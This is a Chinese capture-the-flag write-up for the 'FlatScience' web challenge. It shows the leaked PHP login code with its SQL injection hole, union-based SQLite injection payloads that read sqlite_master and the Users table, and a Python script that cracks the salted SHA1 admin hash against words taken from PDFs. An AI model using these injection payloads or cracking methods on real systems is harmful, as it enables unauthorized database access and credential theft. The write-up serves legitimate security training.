攻防世界-web-FlatScience-从0到1的解题历程writeup
題目分析
首先拿到題目一臉懵逼,就是套娃界面,一層一層的pdf論文存放的目錄。
所以先掃一下目錄
發(fā)現(xiàn)存在admin.php和login.php,且掃描結(jié)果顯示login.php有sql注入漏洞
嘗試了一下發(fā)現(xiàn)登陸成功后就跳轉(zhuǎn)到首頁(yè)了
并且設(shè)置了一個(gè)cookie內(nèi)容為+admin
我明明使用test登陸的結(jié)果卻顯示的admin,應(yīng)該是沒(méi)有test用戶,所以默認(rèn)取得數(shù)據(jù)庫(kù)第一條記錄。
然后去看看admin.php
發(fā)現(xiàn)提示為“do not even try to bypass this ”
嘗試弱口令失敗
看了wp才知道有個(gè)關(guān)鍵點(diǎn)是
有一個(gè)提示是“TODO: Remove ?debug-Parameter!”
所以要構(gòu)建
http://159.138.137.79:55036/login.php?debug得到關(guān)鍵部分代碼
if(isset($_POST['usr'])?&&?isset($_POST['pw'])){?$user?=?$_POST['usr'];?$pass?=?$_POST['pw'];?$db?=?new?SQLite3('../fancy.db');?$res?=?$db->query("SELECT?id,name?from?Users?where?name='".$user."'?and?password='".sha1($pass."Salz!")."'");?if($res){?$row?=?$res->fetchArray();?}?else{?echo?"<br>Some?Error?occourred!";?}?if(isset($row['id'])){?setcookie('name','?'.$row['name'],?time()?+?60,?'/');?header("Location:?/");?die();?}? }?解題流程
原來(lái)還是得從login.php注入入手。
使用聯(lián)合查詢(xún)
在查數(shù)據(jù)庫(kù)的時(shí)候嘗試構(gòu)建語(yǔ)句查詢(xún)失敗
usr=test' union select 1,database() --&pw=a發(fā)現(xiàn)是SQLite3 ,和常規(guī)的mysql的語(yǔ)句有不同,所以百度補(bǔ)一波SQLite3的注入
發(fā)現(xiàn)SQLite注入一般是使用sqlite_master隱藏表
usr=test' union select name,sql from sqlite_master; --&pw=a得到
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))所以我們得到存在Users表的字段為id,name,password,hint
這邊容易查詢(xún)得到admin的password
得到
sha1($pass."Salz!")結(jié)果為3fab54a50e770d830c0416df817567662a9dc85c
然后查詢(xún)一下hint
結(jié)果為‘my fav word in my fav paper?!’
意思就是密碼在他的其中一篇paper里面嘍??
隨便找了個(gè)整站下載軟件,先把所有的pdf給下載下來(lái)
總共應(yīng)該是30篇paper
最后拿到大佬的exp,在我python3的環(huán)境中調(diào)著跑了一下
from?io?import?StringIO from?pdfminer.pdfinterp?import?PDFResourceManager,?PDFPageInterpreter from?pdfminer.converter?import?TextConverter from?pdfminer.layout?import?LAParams from?pdfminer.pdfpage?import?PDFPage import?sys import?string import?os import?hashlibdef?get_pdf():#打開(kāi)pdf文件return?[i?for?i?in?os.listdir("./")?if?i.endswith("pdf")]def?convert_pdf_2_text(path):#獲取pdf文本rsrcmgr?=?PDFResourceManager()retstr?=?StringIO()device?=?TextConverter(rsrcmgr,?retstr,?codec='utf-8',?laparams=LAParams())interpreter?=?PDFPageInterpreter(rsrcmgr,?device)with?open(path,?'rb')?as?fp:for?page?in?PDFPage.get_pages(fp,?set()):interpreter.process_page(page)text?=?retstr.getvalue()device.close()retstr.close()return?textdef?find_password():#讀取密碼pdf_path?=?get_pdf()for?i?in?pdf_path:print("Searching?word?in?"?+?i)pdf_text?=?convert_pdf_2_text(i).split("?")for?word?in?pdf_text:sha1_password?=?hashlib.sha1((word?+?"Salz!").encode()).hexdigest()if?sha1_password?==?'3fab54a50e770d830c0416df817567662a9dc85c':print("Find?the?password?:"?+?word)exit()if?__name__?==?"__main__":find_password()得到admin的密碼為T(mén)hinJerboa
最后在admin.php中登陸即可拿到flag
總結(jié)
以上是生活随笔為你收集整理的攻防世界-web-FlatScience-从0到1的解题历程writeup的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 攻防世界-web-fakebook-从0
- 下一篇: 攻防世界-web-ics-04-从0到1